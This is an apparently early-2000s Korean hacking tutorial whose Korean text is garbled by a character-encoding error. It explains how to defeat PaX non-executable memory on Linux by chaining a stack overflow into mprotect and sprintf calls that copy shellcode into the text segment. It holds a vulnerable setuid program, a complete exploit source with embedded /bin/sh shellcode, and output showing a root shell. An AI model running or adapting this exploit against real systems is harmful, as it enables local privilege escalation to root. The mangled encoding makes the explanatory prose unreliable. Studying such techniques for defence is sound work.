Stack buffer overflow±â¹ýÀ» ÀÌ¿ëÇÏ¿© Text¿µ¿ª¿¡ ½©Äڵ带 ¿Ã·Á³õ°í ½ÇÇà½ÃÅ°±â Mutacker in (ÁÖ¼­½ÄÁö: Null@Root & Ç×°ø´ë ³×Æ®¿÷ º¸¾È¿¬±¸½Ç ) mutacker@null2root.org, mutacker@mail.hangkong.ac.kr (http://mutacker.null2root.org) /////////////////////////////////////////////////////////////////////////////////////////////// /////// 1. ±Û ¾²±â¿¡ ¾Õ¼­ ¸ÕÀú ±Û ¾²±â¿¡ ¾Õ¼­ Ç×»ó Àú¸¦ µµ¿ÍÁֽô ¸¹Àº ºÐµé¿¡°Ô °¨»çµå¸°´Ù. ÇØÅ·ÀÇ »õ·Î¿î ±â¼úÀ̳ª ±â¹ýÀ» ¹ß°ßÇÏ°í »ý°¢ÇØ ³»´Â ÀÛ¾÷Àº ºÐ¸í È¥ÀÚ¼­ Çسª°¡±â¿¡´Â ÁöÄ¡°í ÈûÀÌ µé ¶§°¡ ¸¹´Ù. ÇÏÁö¸¸, Ç×»ó °ç¿¡¼­ ÁöÄѺÁÁÖ°í, µµ¿ÍÁÖ°í Á¶¾ðÀ» ¾Æ³¢Áö ¾Ê´Â ¼ö¸¹Àº ºÐµéÀÌ Àֱ⿡ °¡´ÉÇÑ ÀÏÀÌ ¾Æ´Ñ°¡ ½Í´Ù. ´Ù½Ã Çѹø ±× ºÐµé¿¡°Ô °¨»ç¸¦ Ç¥ÇÑ´Ù. ƯÈ÷, ¿ì¸®ÀÇ "¿À~ ¸ð³ª¸®ÀÚ(O~ MuNaRiSe)"ÆÀ¿ø(?)µé²² °¨»çµå¸³´Ï´Ù. - Á¤Ã¼ºÒ¸íÀÇ Null@Root ¸â¹öµé ÀÌ ¹®¼­´Â ´Ù¾çÇÑ ¹æ¹ýÀÇ ¼Ò°³¿¡ ÇØ´çÇÏ´Â °ÍÀ¸·Î ¹öÆÛ¿À¹öÇÃ·Î¾î ±â¹ýÀÌ ¾îµð±îÁö ÀÀ¿ëÀÌ °¡´ÉÇÑÁö º¸¿©ÁÖ±â À§ÇÔÀÏ »ÓÀÌ´Ù. º» ¹®¼­¿¡ ´ëÇÑ ÆDZÇÀº ¾ø´Â °ÍÀ¸·Î Çϸç, ´ÜÁö ÆíÁý¸¸Àº ±ÝÇßÀ¸¸é ÇÑ´Ù. Ʋ¸° ºÎºÐÀ̳ª ¿ÀÅ»ÀÚ µîÀº º»Àο¡°Ô ¸ÞÀÏÀ̳ª ÁÖ¼­½ÄÁö(irc.null2root.org)¿¡¼­ ¾Ë·ÁÁֽøé, °í¸¿°Ú½À´Ï´Ù. ´ÜÁö º» ¹®¼­¿¡¼­´Â ¹æÇ⸸À» Á¦½ÃÇÒ »Ó ½ÇÁ¦ ƯÁ¤ ¾îÇø®ÄÉÀ̼ǿ¡ °ü·ÃµÈ exploitÀ» Á¦°øÇÏÁö´Â ¾Ê´Â´Ù. ¾Æ¹«ÂÉ·Ï, ÀÌ ±ÛÀÌ Çѱ¹ º¸¾È Àü¹®°¡µéÀ̳ª ¿­½ÉÈ÷ ³ë·ÂÇÏ´Â(? ¶Õ±âÀ§ÇØ°¡ ¾Æ´Ñ ±â¼ú¹ßÀüÀ» À§ÇØ) ÇØÄ¿µé¿¡°Ô, ±×¸®°í ÇÁ·Î±×·¥À» °³¹ßÇÏ´Â °³¹ßÀڵ鿡°Ô Á¶±×¸¶ÇÑ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥¿¡¼­ ±ÛÀ» Àû¾îº»´Ù. ÀÌ ¹®¼­ÀÇ ÃÖ°í °ø°³Áö´Â http://mutacker.null2root.orgÀ̸ç, ÃÖÃÊ ¹®¼­ °³Á¦ Àå¼Ò´Â http://www.khdp.orgÀÌ´Ù. ¸¸ÀÏ ´Ù¸¥ °÷¿¡ º» ¹®¼­¸¦ °³Á¦ÇÒ °æ¿ì¿¡´Â ±× Ãâó¸¦ Á¤È®È÷ ¹àÇôÁÖ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥ÀÌ´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 2. ¼Ò°³ +----------------------------------------------------------------------------------------+ | Stack buffer overflow±â¹ýÀ» ÀÌ¿ëÇÏ¿© Text¿µ¿ª¿¡ ½©Äڵ带 ¿Ã·Á³õ°í ½ÇÇà½Ãų ¼ö ÀÖÀ»±î? | +----------------------------------------------------------------------------------------+ óÀ½ ¹öÆÛ¿À¹öÇÃ·Î¾î ±â¹ýÀÌ ¼Ò°³µÈ ÀÌÈÄ·Î ´Ù¾çÇÑ ±â¹ýµéÀÌ ¼±º¸¿´¾ú°í, ÀÌ·¯ÇÑ °ÍµéÀ» ÀÀ¿ëÇÏ´Â ¹æ¹ýµéÀÌ ¸¹ÀÌ ¼Ò°³°¡ ÀÌ·ç¾î Á³¾ú´Ù. ÀÌ ±Û¿¡¼­´Â ÀÌÀü¿¡ ´Ù·ç¾îÁ³¾ú´ø ±âº»ÀûÀÎ ¹öÆÛ¿À¹öÇÃ·Î¾î ±â¹ý¿¡ ´ëÇØ ÃæºÐÈ÷ ¼÷ÁöÇÏ°í ÀÖ´Ù´Â °¡Á¤ÇÏ¿¡¼­ ÀÛ¼ºµÇ¾îÁ³À¸¸ç, À̸¦ ÀÀ¿ëÇÏ¿© º¸´Ù ³ªÀº ¶Ç ´Ù¸¥ ±â¹ýÀÌ ³ª¿Ã ¼ö ÀÖ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥¿¡¼­ ±ÛÀ» ÀÛ¼ºÇÏ°Ô µÇ¾ú´Ù. º» ±ÛÀº ±âÁ¸¿¡ ´Ù·ç¾îÁ³´ø ½ºÅùöÆÛ¿À¹öÇ÷ξî(stack buffer overflow) ±â¹ýÀÇ ÀÀ¿ëÆíÂë µÈ´Ù°í ÇÒ ¼ö ÀÖ°Ú´Ù. ½ºÅÃÀÇ ±âº» ±×¸²À̳ª, ¹öÆÛ¿À¹öÇ÷ξ ¹ß»ýÇÏ´Â ±âº» °úÁ¤µéÀº ´Ù¸¥ ¹®¼­¸¦ ÅëÇØ ¼÷ÁöÇØÁÖ¾úÀ¸¸é ½Í´Ù. º» ¹®¼­´Â Phrack-58-4¹ø ³»¿ëÀ» Âü°íÇÏ¿© ÀÛ¼ºµÇ¾îÁ³´Ù. Áï, Phrack-58-4¹ø ³»¿ë°ú Áߺ¹µÇ´Â ³»¿ëÀº °¡±ÞÀû ¼³¸íÀ» ÇÏÁö ¾Ê°í »ý·«Çϵµ·Ï ÇÒ °ÍÀÌ´Ù. ÀÌ ±Û¿¡¼­ ´Ù·ç´Â ³»¿ëÀº Stack buffer overflow±â¹ýÀ» ÀÌ¿ëÇÏ¿© Text¿µ¿ª¿¡ ½©Äڵ带 ¿Ã·Á³õ°í ½ÇÇà½ÃÅ°±âÀÌ´Ù. -- ¼³Á¤ ȯ°æ (1) ½Ã½ºÅÛ°ú ¿î¿µÃ¼Á¦ [mutacker@localhost makepaper]$ uname -a Linux localhost.localdomain 2.4.20 #1 SMP Mon Mar 24 21:05:39 KST 2003 i686 unknown (2) Patch ¼³Á¤ ȯ°æ http://pageexec.virtualave.net ÀÇ PaX patch Àû¿ë [*] Paging based non-executable pages [ ] Segmentation based non-executable pages [ ] Emulate trampolines [ ] Restrict mprotect() [ ] Disallow ELF text relocations [ ] Address Space Layout Randomization /////////////////////////////////////////////////////////////////////////////////////////////// ////// 3. ¹®Á¦ ¼³Á¤ #include int main(int argc, char* argv[]) { char buf[20]; strcpy(buf, argv[1]); } Á÷°üÀûÀ¸·Î À§ÀÇ ¹®Á¦´Â ½ºÅû󿡼­ ¹öÆÛ¿À¹ö°¡ ¹ß»ýÇÒ ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ÀÌÁ¦ ¿ì¸®´Â ¹«¾ùÀ» ÇÒ±î? ù¹ø° »ý°¢ÇÒ ¼ö ÀÖ´Â °ÍÀº argv[1]¿¡ ½©Äڵ带 ÁÖÀÔÇÏ°í return address¸¦ ½©ÄÚµå ¿µ¿ªÀ¸·Î ÁöÁ¤ÇÔÀ¸·Î½á ½©Äڵ带 ½±°Ô ¶ç¿ï ¼ö ÀÖÀ» °ÍÀÌ¶ó ¿¹»óÇÒ ¼ö ÀÖ´Ù. µÎ¹ø°´Â EGG ½©À» ÀÌ¿ëÇÏ¿© ½©Äڵ带 Æ÷ÇÔÇÑ EGGȯ°æº¯¼ö¸¦ ȯ°æº¯¼ö ¿µ¿ª¿¡ ³Ö¾îµÎ°í, return address¸¦ ÀÌ°÷À¸·Î ÁöÁ¤ÇÔÀ¸·Î½á, ½©Äڵ带 ½±°Ô ¶ç¿ï ¼ö ÀÖÀ»°ÍÀÌ¶ó ¿¹»óÇÒ ¼ö ÀÖ´Ù. ¼¼¹ø°, Omega project¿¡ ÀÇÇÑ ¹æ¹ýÀ¸·Î ½©À» ¶ç¿ï ¼ö ÀÖÀ» °ÍÀÌ¶ó ¿¹»óµÈ´Ù. ÇÏÁö¸¸, ºÒÇàÇÏ°Ôµµ ¿ì¸®´Â ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÒ ¼ö°¡ ¾ø´Ù. ÀÏ´Ü Ã¹¹ø°, µÎ¹ø°ÀÇ °æ¿ì PaX patchÁß [*] Paging based non-executable pages ¿É¼ÇÀ» ¼³Á¤ÇÏ°í, ÄÄÆÄÀÏÀ» ÇÏ¿´À» °æ¿ì ½ºÅÃÀ̳ª Èü, µ¥ÀÌÅÍ µî°ú °°Àº ÀϹÝÀûÀÎ º¯¼öµéÀÌ »ý±â´Â ¿µ¿ª¿¡¼­ÀÇ ±â°è¾î ÄÚµåÀÇ ½ÇÇàÀ» ¸·¾Æ¹ö¸®±â ¶§¹®¿¡, ÀÌµé ½©ÄÚµå´Â ½ÇÇàÀÌ µÇÁö¸¦ ¾Ê´Â´Ù. ¼¼¹ø°ÀÇ °æ¿ì, system()ÇÔ¼ö¸¦ È£ÃâÇϱâ Àü¿¡ setuid(0); À̳ª setreuid(0, 0);À» È£ÃâÇØ¾ß Çϴµ¥, ºÒÇàÇÏ°Ôµµ 4¹ÙÀÌÆ®ÀÇ zero °ªÀ» ÁÖÀÔÇÑ´Ù´Â °ÍÀÌ º¸Åë ½¬¿î ¹®Á¦°¡ ¾Æ´Ï´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 3. ȯ°æ ºÐ¼® Stack buffer overflow±â¹ýÀ» ÀÌ¿ëÇÏ¿© Text¿µ¿ª¿¡ ½©Äڵ带 ¿Ã·Á³õ°í ½ÇÇà½Ãų ¼ö ÀÖÀ»±î? ¾Æ´Ï¸é, ±× º¸È£ ¸ÅÄ¿´ÏÁòÀ» ±ú¹ö¸± ¼ö´Â ¾øÀ»±î? ¿Ö, µ¥ÀÌÅÍ ¿µ¿ª¿¡¼­ ½ÇÇàÀÌ µÇÁö ¾Ê´Â °ÍÀϱî? ¸ÕÀú proc»ó¿¡ Á¸ÀçÇÏ´Â ÇöÀç ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸® »óȲÀ» »ìÆ캸ÀÚ. mutacker> cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:01 34733 /bin/cat <=== Text section 0804c000-0804d000 rw-p 00003000 03:01 34733 /bin/cat <=== Data section 0804d000-0804f000 rw-p 00000000 00:00 0 40000000-40016000 r-xp 00000000 03:01 44966 /lib/ld-2.2.2.so 40016000-40017000 rw-p 00015000 03:01 44966 /lib/ld-2.2.2.so 40017000-40018000 rw-p 00000000 00:00 0 40022000-40148000 r-xp 00000000 03:01 65288 /lib/i686/libc-2.2.2.so 40148000-4014e000 rw-p 00125000 03:01 65288 /lib/i686/libc-2.2.2.so 4014e000-40152000 rw-p 00000000 00:00 0 bfffe000-c0000000 rw-p fffff000 00:00 0 <=== Stack À§ÀÇ »óȲÀ» »ìÆ캸¸é ¸í·É¾î Äڵ尡 Á¸ÀçÇÏ´Â ±¸°£Àº r-xpÀ¸·Î, ÀÏ¹Ý µ¥ÀÌÅÍ ¿µ¿ªÀº rw-pÀ¸·Î ¼³Á¤µÇ¾î ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ¾Æ·¡´Â PaX patch¸¦ ÇÏÁö ¾ÊÀº ½Ã½ºÅÛ»óÀÇ »óȲÀ» º¸¿©ÁÖ°í ÀÖ´Ù. [mutacker@localhost makepaper]$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:05 33058 /bin/cat 0804c000-0804d000 rw-p 00003000 03:05 33058 /bin/cat 0804d000-0804f000 rwxp 00000000 00:00 0 <==== ÀÌ ºÎºÐ¿¡ ÁÖÀÇ 40000000-40016000 r-xp 00000000 03:05 5077 /lib/ld-2.2.2.so 40016000-40017000 rw-p 00015000 03:05 5077 /lib/ld-2.2.2.so 40017000-40018000 rw-p 00000000 00:00 0 4002e000-40154000 r-xp 00000000 03:05 5071 /lib/i686/libc-2.2.2.so 40154000-4015a000 rw-p 00125000 03:05 5071 /lib/i686/libc-2.2.2.so 4015a000-4015e000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 <==== ÀÌ ºÎºÐ¿¡ ÁÖÀÇ À­ÂÊ°ú ºñ±³Çغ¸¸é ½ºÅû󿡼­µµ ¸í·É¾î Äڵ尡 ½ÇÇàÀÌ °¡´ÉÇÑ »óÅ·ΠÁ¸ÀçÇÔÀ» ¾Ë ¼ö ÀÖ´Ù. ÀÚ! ±×·¯¸é ½ÇÇà°¡´É ±¸°£ÀÌ ¾Æ´Ñ °÷À» ½ÇÇà°¡´É Çϵµ·Ï ¸¸µé¾î¼­ ±×°÷¿¡ ÀÖ´Â ½©Äڵ带 ½ÇÇà½ÃÄѺ¸µµ·Ï ÇÏÀÚ. ¿©±â¿¡¼­´Â Àç¹Ì¸¦ À§ÇØ ±× ½ÇÇ౸°£À» ¸í·É¾î°¡ Á¸ÀçÇÏ´Â ±¸°£À¸·Î Àâµµ·Ï ÇÒ °ÍÀÌ´Ù. ÀüÀïÀ» Çϱâ À§Çؼ­´Â ¹«±â°¡ Ç®¿äÇÏµí ¿ì¸®µµ ¹«¾ð°¡ ÇÑ°¡Áö Áغñ¸¦ ÇؾßÇÏ°Ú´Ù. ÀÏ´Ü ÇϳªÀÇ ÇÁ·Î¼¼½º°¡ »ý°Ü³¯ ¶§, ¾î¶»°Ô ÇÁ·Î¼¼½º´Â Äڵ念¿ªÀ» ÀбâÀü¿ë, ½ÇÇ౸°£À¸·Î ¼³Á¤ÇÏ´Â °ÍÀϱî? ÀÌ°ÍÀ» À§ÇØ strace¸¦ ÀÌ¿ëÇÏ¿© »ìÆ캸µµ·Ï ÇÏÀÚ. [mutacker@localhost makepaper]$ strace uname -a execve("/bin/uname", ["uname", "-a"], [/* 29 vars */]) = 0 uname({sys="Linux", node="localhost.localdomain", ...}) = 0 brk(0) = 0x804a398 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=89989, ...}) = 0 old_mmap(NULL, 89989, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 open("/lib/i686/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200\302"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=5634864, ...}) = 0 old_mmap(NULL, 1242920, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002e000 mprotect(0x40154000, 38696, PROT_NONE) = 0 old_mmap(0x40154000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x125000) = 0x 40154000 old_mmap(0x4015a000, 14120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4015a000 close(3) = 0 munmap(0x40018000, 89989) = 0 getpid() = 9026 brk(0) = 0x804a398 brk(0x804a3c0) = 0x804a3c0 brk(0x804b000) = 0x804b000 uname({sys="Linux", node="localhost.localdomain", ...}) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 write(1, "Linux localhost.localdomain 2.4."..., 84Linux localhost.localdomain 2.4.20 #1 SM P Mon Mar 24 21:05:39 KST 2003 i686 unknown ) = 84 munmap(0x40018000, 4096) = 0 _exit(0) = ? À§¿¡¼­ ¿ì¸®´Â ¹«¾ð°¡ ¹«±âÇϳª°¡ º¸ÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ±×°ÍÀº mmapÀ̶ó´Â ½Ã½ºÅÛÄÝ°ú mprotect¶ó´Â ½Ã½ºÅÛÄÝÀ» »ìÆ캼 ¼ö ÀÖ´Ù. ÀÌ ±Û¿¡¼­´Â mprotect¸¦ ÀÌ¿ëÇϵµ·Ï ÇÏ°Ú´Ù. ¿Ö ±×°É »ç¿ëÇÏ³Ä°í ¹°¾îº»´Ù¸é.. °æÇèÇлó À̶ó°í ¹Û¿¡´Â ^^; /////////////////////////////////////////////////////////////////////////////////////////////// ////// 4. ¹®Á¦ Ç®ÀÌ ÀÚ¼¼ÇÑ »çÇ×Àº ¾Æ·¡ÀÇ ¼Ò½º¸¦ ÅëÇØ È®ÀÎÇϱ⠹ٶõ´Ù. °³·«ÀûÀÎ ¼³¸í¸¸À» ÀÌ°÷¿¡¼­ Çϵµ·Ï ÇÏ°Ú´Ù. ÀüüÀûÀÎ È帧Àº ÀÌ·¯ÇÏ´Ù. 1. ȯ°æº¯¼ö ¿µ¿ª¿¡ phrack 58-4¿¡¼­ ¼Ò°³ÇÏ´Â ÇüÅÂÀÇ fake-frameÀ» ±¸¼ºÇÑ´Ù. À̶§ ÁÖÀÇÇÒ »çÇ×Àº mprotectµî°ú °°Àº ¸Å°³º¯¼ö¿¡ zero°ªÀÌ ÀÚÁÖ Ãâ¸ôÇÑ´Ù´Â °ÍÀÌ´Ù. À̸¦ ÇØ°áÇϱâ À§ÇØ envp[n] = "";À» ³Ö´Â´Ù. ´Ü nÀº ÀÚ½ÅÀÌ ³Ö°íÀÚ ÇÏ´Â À§Ä¡. Áï, envp[10]="";envp[11]="";envp[12]=""; ÀÌ¿Í°°ÀÌ ÇÏ¸é ¿¬¼Ó 3¹ÙÀÌÆ®°¡ 0À¸·Î ȯ°æº¯¼ö¿µ¿ª¿¡ ¼³Á¤µÇ¾îÁø´Ù. À̶§ ÁÖÀÇÇÒ »çÇ×Àº 4¹ÙÀÌÆ®¸¦ 0À¸·Î ¼³Á¤Çϱâ À§Çؼ­´Â ¼¼¹ø¸¸ Àú°É ¼öÇàÇ϶ó´Â °ÍÀÌ´Ù. ´Ù¸¥ ȯ°æº¯¼ö°¡ ¼³Á¤µÇ¸é¼­ °¡Àå ¸¶Áö¸·¿¡ 0ÀÌ ÀÚµ¿À¸·Î ¼³Á¤µÇ±â ¶§¹®¿¡ À̰ͱîÁö °í·ÁÇÏ¿©¾ß ÇÑ´Ù. 2. mprtect¸¦ ÅëÇØ ÇØ´ç ¿µ¿ªÀ» Àаí, ¾²±â, ½ÇÇà °¡´É ±¸°£À¸·Î º¯°æÇ϶ó. ¿©±â¿¡¼­´Â 0x08048000¿µ¿ªºÎÅÍ 4096(0x1000, 1 page size)¸¸Å­ÀÇ Å©±â¸¦ mprotect¸¦ ÀÌ¿ëÇÏ¿© rwxÇüÅ·Πº¯°æÇÒ °ÍÀÌ´Ù. mprotect(0x08048000, 0x00001000, 0x00000007); ÀÌ¿Í °°ÀÌ Çϸé ÇØ´ç ¿µ¿ªÀÌ ¾²±â±îÁö °¡´ÉÇÑ ±¸°£À¸·Î ¼³Á¤µÇ¾îÁø´Ù. ÁÖ! ¼Ò½º¸¦ º¸¸é 0xA5°¡ ÀÚÁÖ º¸À̴µ¥, ÀÌ ÀÚ¸®´Â ¸ðµÎ 0À¸·Î ´ëüµÇ´Â °÷ÀÌ´Ù. 0xA5ÀÚ¸®°¡ À§ÀÇ 1¿¡¼­ ¼³¸íÇÑ envp[n]="";¿¡ ÇØ´çÇÏ´Â ÀÚ¸®ÀÌ´Ù. 3. sprintf¸¦ ÀÌ¿ëÇÏ¿© ½©Äڵ带 ÀÚ½ÅÀÌ ¿øÇÏ´Â °÷À¸·Î À̵¿½ÃÅ°¶ó. (¿©±â¿¡¼­´Â Àç¹Ì»ï¾Æ 0x08048000¿µ¿ªÀ¸·Î º¹»ç¸¦ ÇÏ´Â °ÍÀÌ°í, ¸¸ÀÏ ±×³É ½ºÅÃÀ» ½ÇÇà°¡´É±¸°£À¸·Î º¯°æÇØ ¹ö·Áµµ µÈ´Ù. ±×·²°æ¿ì¿¡´Â sprintf±îÁö µ¿¿øµÇ´Â ÀÏÀÌ ¾ø¾îµµµÉ °ÍÀÌ´Ù. ´ÜÁö °¡´É¼º¸¸À» º¸À̱â À§ÇÔÀÌ´Ù.) ½©Äڵ带 ȯ°æº¯¼ö¿¡ ³Ö¾îµÎ°í, ÀÌµé °ªÀ» º¹»çÇϱâ À§ÇØ strcpy³ª memcpy°è¿­À» »ç¿ëÇϸé ÁÁ°ÚÁö¸¸, ´ëºÎºÐÀÌ ÁÖ¼Ò¶õ¿¡ 0x0a¿¡ ÇØ´çÇØ argv[]³ª fgetsµîÀÇ ÇÔ¼ö¿¡ Á¦¾àÀ» ÁÖ´Â °ü°è·Î À̸¦ ȸÇÇÇÐ À§ÇØ sprintf¸¦ »ç¿ëÇÑ´Ù. 4. ¸®ÅÏ ¾îµå·¹½ºÀÇ À§Ä¡¸¦ 0x08048000À¸·Î ¼³Á¤ À§ÀÇ ÀÌ ¸¹Àº À̾߱âµéÀ» ¸ðµÎ ½ÇÇà¿¡ ¿Å±â±â À§Çؼ­´Â phrack 58-4¹ø¿¡¼­ ¼Ò°³ÇÏ°í ÀÖ´Â frame-chainÀ» ±¸¼ºÇÏ´Â ¹æ¹ýÀÌ °¡Àå ½¬¿î ¹æ¹ýÀÌ µÇ°Ú´Ù. frame-chain¿¡ ´ëÇÑ ¼³¸íÀº ÀÌ°÷¿¡¼­ ÇÏÁö ¾Êµµ·Ï ÇÏ°Ú´Ù. À̸¦ ÅëÇØ ±¸¼ºÇÑ ½ºÅà ÇÁ·¹ÀÓÀº ´ÙÀ½°ú °°´Ù. argvÀԷ°ª : [20byte ¾²·¹±â][fake_ebp1 <= fake_ebp2ÀÇ À§Ä¡][leaveret] ȯ°æº¯¼ö ¿µ¿ª±¸¼º : [fake_ebp2 <=fake_ebp3ÀÇ À§Ä¡][mprotect][leaveret][0x08048000][0x00001000][0x00000007] [fake_ebp3 <=¾Æ¹«°ªÀ̳ª »ó°ü¾øÀ½, chainÀÇ ³¡][sprintf][0x08048000][0x08048000][shellcode À§Ä¡] <--------------------------------------------------------------------------> mutacker ~/BreakPaX/newtest> uname -a Linux kof 2.4.20-PaX #2 SMP Sat Feb 22 06:59:22 KST 2003 i686 unknown mutacker ~/BreakPaX/newtest> cat vul.c #include int main(int argc, char* argv[]) { char buf[20]; strcpy(buf, argv[1]); } mutacker ~/BreakPaX/newtest> ls -al vul -rwsr-xr-x 1 root root 13626 Mar 5 20:46 vul mutacker ~/BreakPaX/newtest> cat vulex.c // ¾Æ·¡¿¡ ³ª¿À´Â ¸ðµç A5´Â 0À¸·Î ´ëü½Ãų ¹®ÀÚÀÌ´Ù. #include #include #define VUL_PROG "/home/mutacker/BreakPaX/newtest/vul" #define DUMMY_COUNT 40 // #define ENV_ALIGN 4 #define MPROTECT_ADDR 0x40012bA5 //<=== ¿ä±â 0ÇÏ°í #define SPRINTF_ADDR 0x40081654 #define LIB_SHELL_AREA 0x401480A5 //<=== ¿ä±â 0ÇÏ°í #define LEAVERET 0x80484dc #define SHELLCODE 0xbffffdd8 char hellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31" "\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; struct three_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; unsigned int param3; }; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct go_env_area { struct three_arg mu_mprotect; struct two_arg mu_sprintf; char shellbuf[511]; char dummy[ENV_ALIGN]; }; struct overflowst { char dummy[DUMMY_COUNT]; unsigned int ebp; unsigned int leave_ret; }; char *name[100]; char *env[100]; int namecnt=0; int envcnt=0; void InsertEnv(char* str) { env[envcnt] = str; envcnt++; } void InsertEnvFinish() { env[envcnt] = NULL; envcnt++; } main() { struct overflowst argument; struct go_env_area my_env; char* base = (char*) &my_env; char* find_a5; int loopcnt; printf("mprotect : %p, define MPROTECT = 0x%x\n", mprotect, MPROTECT_ADDR); my_env.mu_mprotect.new_ebp = 0xbffffdc4; my_env.mu_mprotect.func = MPROTECT_ADDR; my_env.mu_mprotect.leave_ret = LEAVERET; my_env.mu_mprotect.param1 = LIB_SHELL_AREA; my_env.mu_mprotect.param2 = 0xA5A510A5; my_env.mu_mprotect.param3 = 0xA5A5A507; my_env.mu_sprintf.new_ebp = 0xbffffdc4; my_env.mu_sprintf.func = SPRINTF_ADDR; my_env.mu_sprintf.leave_ret = LIB_SHELL_AREA; my_env.mu_sprintf.param1 = LIB_SHELL_AREA; my_env.mu_sprintf.param2 = SHELLCODE; memset(my_env.dummy, 0x61, ENV_ALIGN); memset(my_env.shellbuf, 0x90, 511); strcpy(my_env.shellbuf+sizeof(my_env.shellbuf)-strlen(hellcode), hellcode); find_a5 = base; while(find_a5 != NULL) { find_a5 = strchr(base, (char)0xa5); if(find_a5 != NULL) *find_a5 = 0; InsertEnv(base); if(find_a5 != NULL) base = find_a5+1; } InsertEnvFinish(); memset(argument.dummy, 0x61, DUMMY_COUNT); argument.ebp = 0xbffffdac; argument.leave_ret = LEAVERET; namecnt = 0; name[namecnt++] = VUL_PROG; printf("Starting : %s\n", name[namecnt-1]); name[namecnt++] = (char*) &argument; name[namecnt++] = NULL; execve(VUL_PROG, name, env); printf("Fail execve()\n"); } mutacker ~/BreakPaX/newtest 11> ./vulex mprotect : 0x8048518, define MPROTECT = 0x40012ba5 Starting : /home/mutacker/BreakPaX/newtest/vul sh-2.04# id uid=0(root) gid=500(mutacker) groups=500(mutacker) sh-2.04# <--------------------------------------------------------------------------> ºÎ·ÏÀÇ ¿¹´Â mprotect¿Í sprintf, leaveret ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ÀÚµ¿À¸·Î ȹµæÇÒ ¼ö ÀÖµµ·Ï ÇÏ´À¶ó, Äڵ尡 »ó´çÈ÷ ÁöÀúºÐÇØÁ®¹ö·È´Ù. À̸¦ Á» ´õ ±ò²ûÇÏ°Ô Á¤¸®ÇϽŠºÐÀº Àú¿¡°Ô ¸ÞÀÏ·Î º¸³»ÁÖ¼ÌÀ¸¸é ÇÑ´Ù. ^^; /////////////////////////////////////////////////////////////////////////////////////////////// ////// 5. °á·Ð º» ¹®¼­¿¡¼­´Â PaX¿Í °°Àº µ¥ÀÌÅÍ¿µ¿ª¿¡¼­ÀÇ ½©ÄÚµå ½ÇÇàÀÌ ºÒ°¡´ÉÇÑ »óȲÇÏ¿¡¼­ ¹öÆÛ¿À¹öÇ÷ξ ¹ß»ýÇÏ¿´À» °æ¿ì¿¡µµ mprotect³ª mmapµîÀ» ÀÌ¿ëÇÏ¿© ½©À» ¶ç¿ï ¼ö ÀÖÀ½À» È®ÀÎÇÏ¿´´Ù. ¹°·Ð PaXÀÇ Ä¿³Î ÆÐÄ¡¿¡´Â mprotect¸¦ ±ÝÁö½ÃÅ°´Â ºÎºÐÀÌ Á¸ÀçÇÑ´Ù. Áï, Á» ´õ ¾ÈÀüÇÑ È¯°æÀ» À§Çؼ­´Â mprotect¸¦ »ç¿ëÁ¦ÇÑ ½ÃÅ°´Â ȯ°æÀ» ²Ù¹Ð °ÍÀ» ´çºÎµå¸®°í ½Í´Ù. ÀÌ ¹®¼­ÀÇ ³»¿ëÀº ÆÐÄ¡¸¦ ÇÏÁö ¾Ê¾Ò´Ù ÇÏ´õ¶óµµ µ¿ÀÏÇÏ°Ô ½ÇÇàµÈ´Ù. ¼³Á¤ÈÄ ½ÇÇèÇØ º¸±æ ¹Ù¶õ´Ù. ¹°·Ð mprotect¸¦ Á¦ÇѼ³Á¤ÇÑ´Ù°í ÇÏ´õ¶óµµ ¶Ç ´Ù¸¥ ´Ù¾çÇÑ ¹æ¹ýÀÌ Á¸ÀçÇÒ ¼ö°¡ ÀÖ´Ù. ÀÌ°ÍÀº dlopen, dlsymÀÇ È£ÃâÀ» ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ´Ù. ´ÙÀ½ ¹®¼­¿¡¼­´Â ÀÌ°Í¿¡ ´ëÇØ ±ÛÀ» ¿Ã¸®µµ·Ï ÇÏ°Ú´Ù. À̸¦ À§ÇØ Àç¹Ì³­ ¹®Á¦¸¦ ¸¶Áö¸·À¸·Î º» ±ÛÀ» ¸¶¹«¸® 